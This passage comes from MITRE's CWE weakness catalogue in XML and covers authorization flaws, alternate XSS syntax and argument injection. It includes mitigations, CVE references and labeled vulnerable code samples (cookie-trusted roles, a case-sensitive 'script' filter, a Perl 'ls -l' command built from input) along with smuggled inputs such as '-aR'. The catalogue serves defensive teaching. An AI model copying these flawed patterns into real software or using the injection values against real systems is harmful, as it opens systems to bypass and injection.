                           <xhtml:li>Formal Methods / Correct-By-Construction</xhtml:li>
                        </xhtml:ul>
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>
                  <xhtml:p>Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.</xhtml:p>
                  <xhtml:p>Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-4.4">
               <Phase>Architecture and Design</Phase>
               <Strategy>Libraries or Frameworks</Strategy>
               <Description>
                  <xhtml:p>Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.</xhtml:p>
                  <xhtml:p>For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>
                  <xhtml:p>For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.</xhtml:p>
                  <xhtml:p>One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation>
               <Phase>System Configuration</Phase>
               <Phase>Installation</Phase>
               <Description>Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following code could be for a medical records application. It displays a record to already authenticated users, confirming the user's authorization using a value stored in a cookie.</Intro_Text>
               <Example_Code Nature="Bad" Language="PHP">
                  <xhtml:div>$role = $_COOKIES['role'];<xhtml:br/>if (!$role) {<xhtml:div style="margin-left:1em;">$role = getRole('user');<xhtml:br/>if ($role) {<xhtml:div style="margin-left:1em;">// save the cookie to send out in future responses<xhtml:br/>setcookie("role", $role, time()+60*60*2);</xhtml:div>}<xhtml:br/>else{<xhtml:div style="margin-left:1em;">ShowLoginScreen();<xhtml:br/>die("\n");</xhtml:div>}</xhtml:div>}<xhtml:br/>if ($role == 'Reader') {<xhtml:div style="margin-left:1em;">DisplayMedicalHistory($_POST['patient_ID']);</xhtml:div>}<xhtml:br/>else{<xhtml:div style="margin-left:1em;">die("You are not Authorized to view this record\n");</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The programmer expects that the cookie will only be set when getRole() succeeds. The programmer even diligently specifies a 2-hour expiration for the cookie. However, the attacker can easily set the "role" cookie to the value "Reader". As a result, the $role variable is "Reader", and getRole() is never invoked. The attacker has bypassed the authorization system.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2021-39155</Reference>
               <Description>Chain: A microservice integration and management platform compares the hostname in the HTTP Host header in a case-sensitive way (CWE-178, CWE-1289), allowing bypass of the authorization policy (CWE-863) using a hostname with mixed case or other variations.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2021-39155</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2019-15900</Reference>
               <Description>Chain: sscanf() call is used to check if a username and group exists, but the return value of sscanf() call is not checked (CWE-252), causing an uninitialized variable to be checked (CWE-457), returning success to allow authorization bypass for executing a privileged (CWE-863).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2019-15900</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-2213</Reference>
               <Description>Gateway uses default "Allow" configuration for its authorization settings.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-2213</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-0034</Reference>
               <Description>Chain: product does not properly interpret a configuration option for a system group, allowing users to gain privileges.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-0034</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-6123</Reference>
               <Description>Chain: SNMP product does not properly parse a configuration option for which hosts are allowed to connect, allowing unauthorized IP addresses to connect.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-6123</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-7109</Reference>
               <Description>Chain: reliance on client-side security (CWE-602) allows attackers to bypass authorization using a custom client.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-7109</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-3424</Reference>
               <Description>Chain: product does not properly handle wildcards in an authorization policy list, allowing unintended access.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-3424</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-4577</Reference>
               <Description>ACL-based protection mechanism treats negative access rights as if they are positive, allowing bypass of intended restrictions.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-4577</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-6679</Reference>
               <Description>Product relies on the X-Forwarded-For HTTP header for authorization, allowing unintended access by spoofing the header.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-6679</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2801</Reference>
               <Description>Chain: file-system code performs an incorrect comparison (CWE-697), preventing default ACLs from being properly applied.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2801</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1155</Reference>
               <Description>Chain: product does not properly check the result of a reverse DNS lookup because of operator precedence (CWE-783), allowing bypass of DNS-based access restrictions.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1155</Link>
            </Observed_Example>
         </Observed_Examples>
         <References>
            <Reference External_Reference_ID="REF-229"/>
            <Reference External_Reference_ID="REF-7" Section="Chapter 4, &#34;Authorization&#34; Page 114; Chapter 6, &#34;Determining&#xA;                  Appropriate Access Control&#34; Page 171"/>
            <Reference External_Reference_ID="REF-231"/>
            <Reference External_Reference_ID="REF-233"/>
            <Reference External_Reference_ID="REF-45"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 2, &#34;Common Vulnerabilities of Authorization&#34;, Page 39"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2011-05-24</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Detection_Factors</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Modes_of_Introduction, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Alternate_Terms</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="87" Name="Improper Neutralization of Alternate XSS Syntax" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product does not neutralize or incorrectly neutralizes user-controlled input for alternate script syntax.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="79" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Scope>Availability</Scope>
               <Impact>Read Application Data</Impact>
               <Impact>Execute Unauthorized Code or Commands</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Resolve all input to absolute or canonical representations before processing.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Carefully check each input parameter against a rigorous positive specification (allowlist) defining the specific characters and format allowed. All input should be neutralized, not just parameters that the user is supposed to specify, but all data in the request, including tag attributes, hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. We often encounter data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-30.1">
               <Phase>Implementation</Phase>
               <Strategy>Output Encoding</Strategy>
               <Description>
                  <xhtml:p>Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.</xhtml:p>
                  <xhtml:p>The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-43">
               <Phase>Implementation</Phase>
               <Description>With Struts, write all data from form beans with the bean's filter attribute set to true.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-31">
               <Phase>Implementation</Phase>
               <Strategy>Attack Surface Reduction</Strategy>
               <Description>To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHTTPRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.</Description>
               <Effectiveness>Defense in Depth</Effectiveness>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-141">
               <Intro_Text>In the following example, an XSS neutralization method intends to replace script tags in user-supplied input with a safe equivalent:</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>public String preventXSS(String input, String mask) {<xhtml:div style="margin-left:1em;">return input.replaceAll("script", mask);</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The code only works when the "script" tag is in all lower-case, forming an incomplete denylist (CWE-184). Equivalent tags such as "SCRIPT" or "ScRiPt" will not be neutralized by this method, allowing an XSS attack.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2002-0738</Reference>
               <Description>XSS using "&amp;={script}".</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0738</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Alternate XSS syntax</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP24</Entry_ID>
               <Entry_Name>Tainted input to command</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="199"/>
         </Related_Attack_Patterns>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Sean Eidemiller</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>added/updated demonstrative examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Name, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Description, Name, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-09-09">Alternate XSS Syntax</Previous_Entry_Name>
            <Previous_Entry_Name Date="2010-06-21">Failure to Sanitize Alternate XSS Syntax</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="88" Name="Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product constructs a string for a command to be executed by a separate component
in another control sphere, but it does not properly delimit the
intended arguments, options, or switches within that command string.</Description>
         <Extended_Description>
            <xhtml:p>When creating commands using interpolation into a string, developers may assume that only the arguments/options that they specify will be processed.  This assumption may be even stronger when the programmer has encoded the command in a way that prevents separate commands from being provided maliciously, e.g. in the case of shell metacharacters.  When constructing the command, the developer may use whitespace or other delimiters that are required to separate arguments when the command. However, if an attacker can provide an untrusted input that contains argument-separating delimiters, then the resulting command will have more arguments than intended by the developer.  The attacker may then be able to change the behavior of the command.  Depending on the functionality supported by the extraneous arguments, this may have security-relevant consequences.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
             <Related_Weakness Nature="ChildOf" CWE_ID="77" View_ID="1000" Ordinal="Primary"/>
             <Related_Weakness Nature="ChildOf" CWE_ID="74" View_ID="1003" Ordinal="Primary"/>
             <Related_Weakness Nature="ChildOf" CWE_ID="77" View_ID="1305" Ordinal="Primary"/>
			 <Related_Weakness Nature="ChildOf" CWE_ID="77" View_ID="1340" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Language Name="PHP" Prevalence="Often"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Scope>Availability</Scope>
               <Scope>Other</Scope>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Impact>Alter Execution Logic</Impact>
               <Impact>Read Application Data</Impact>
               <Impact>Modify Application Data</Impact>
               <Note>An attacker could include arguments that allow unintended commands or code to be executed, allow sensitive data to be read or modified or could cause other unintended behavior.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Strategy>Parameterization</Strategy>
               <Description>Where possible, avoid building a single string that contains the command and its arguments.  Some languages or frameworks have functions that support specifying independent arguments, e.g. as an array, which is used to automatically perform the appropriate quoting or escaping while building the command.  For example, in PHP, escapeshellarg() can be used to escape a single argument to system(), or exec() can be called with an array of arguments.  In C, code can often be refactored from using system() - which accepts a single string - to using exec(), which requires separate function arguments for each parameter.</Description>
	       <Effectiveness>High</Effectiveness>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Understand all the potential areas where untrusted inputs can enter your product: parameters or arguments, cookies, anything read from the network, environment variables, request headers as well as content, URL components, e-mail, files, databases, and any external systems that provide data to the application. Perform input validation at well-defined interfaces.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-5">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Directly convert your input type into the expected data type, such as using a conversion function that translates a string into a number. After converting to the expected data type, ensure that the input's values fall within the expected range of allowable values and that multi-field consistencies are maintained.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>
                  <xhtml:p>Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control.</xhtml:p>
                  <xhtml:p>Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>When your application combines data from multiple sources, perform the validation after the sources have been combined. The individual data elements may pass the validation step but violate the intended restrictions after they have been combined.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Testing</Phase>
               <Description>Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Testing</Phase>
               <Description>Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-150">
               <Intro_Text>Consider the following program. It intends to perform an "ls -l" on an input filename. The validate_name() subroutine performs validation on the input to make sure that only alphanumeric and "-" characters are allowed, which avoids path traversal (CWE-22) and OS command injection (CWE-78) weaknesses. Only filenames like "abc" or "d-e-f" are intended to be allowed.</Intro_Text>
               <Example_Code Nature="Bad" Language="Perl">
                  <xhtml:div style="margin-left:1em;">
		    my $arg = GetArgument("filename");<xhtml:br/>
		    do_listing($arg);<xhtml:br/>
		    <xhtml:br/>
		    
		    sub do_listing {<xhtml:br/>
		    <xhtml:div style="margin-left:1em;">
		      my($fname) = @_;<xhtml:br/>
		      if (! validate_name($fname)) {<xhtml:br/>
		      <xhtml:div style="margin-left:1em;">
			print "Error: name is not well-formed!\n";<xhtml:br/>
			return;<xhtml:br/>
		      </xhtml:div>
		      }<xhtml:br/>
		      <xhtml:i># build command</xhtml:i><xhtml:br/>
		      my $cmd = "/bin/ls -l $fname";<xhtml:br/>
		      system($cmd);<xhtml:br/>
		    </xhtml:div>
		    }
		    <xhtml:br/><xhtml:br/>
		    sub validate_name {<xhtml:br/>
		    <xhtml:div style="margin-left:1em;">
		      my($name) = @_;<xhtml:br/>
		      if ($name =~ /^[\w\-]+$/) {<xhtml:br/>
		      <xhtml:div style="margin-left:1em;">
			return(1);<xhtml:br/>
		      </xhtml:div>
		      }<xhtml:br/>
		      else {<xhtml:br/>
		      <xhtml:div style="margin-left:1em;">
			return(0);<xhtml:br/>
		      </xhtml:div>
		      }<xhtml:br/>
		    </xhtml:div>
		    }
		  </xhtml:div>
               </Example_Code>

               <Body_Text><xhtml:p>However, validate_name() allows
               filenames that begin with a "-". An adversary could
               supply a filename like "-aR", producing the "ls -l -aR"
               command (CWE-88), thereby getting a full recursive
               listing of the entire directory and all of its
               sub-directories.</xhtml:p>

	       <xhtml:p>There are a couple possible mitigations for this
	       weakness. One would be to refactor the code to avoid
	       using system() altogether, instead relying on internal
	       functions.</xhtml:p>
			   
	       <xhtml:p>Another option could be to add a "--" argument
	       to the ls command, such as "ls -l --", so that any
	       remaining arguments are treated as filenames, causing
	       any leading "-" to be treated as part of a filename
	       instead of another option.</xhtml:p>
	       
	       <xhtml:p>Another fix might be to change the regular expression used in validate_name to force the first character of the filename to be a letter or number, such as:</xhtml:p>
	       </Body_Text>
	       <Example_Code Nature="Good" Language="Perl">
		 <xhtml:div style="margin-left:1em;">
		   if ($name =~ /^\w[\w\-]+$/) ...
		 </xhtml:div>
	       </Example_Code>
            </Demonstrative_Example>
	    <Demonstrative_Example>
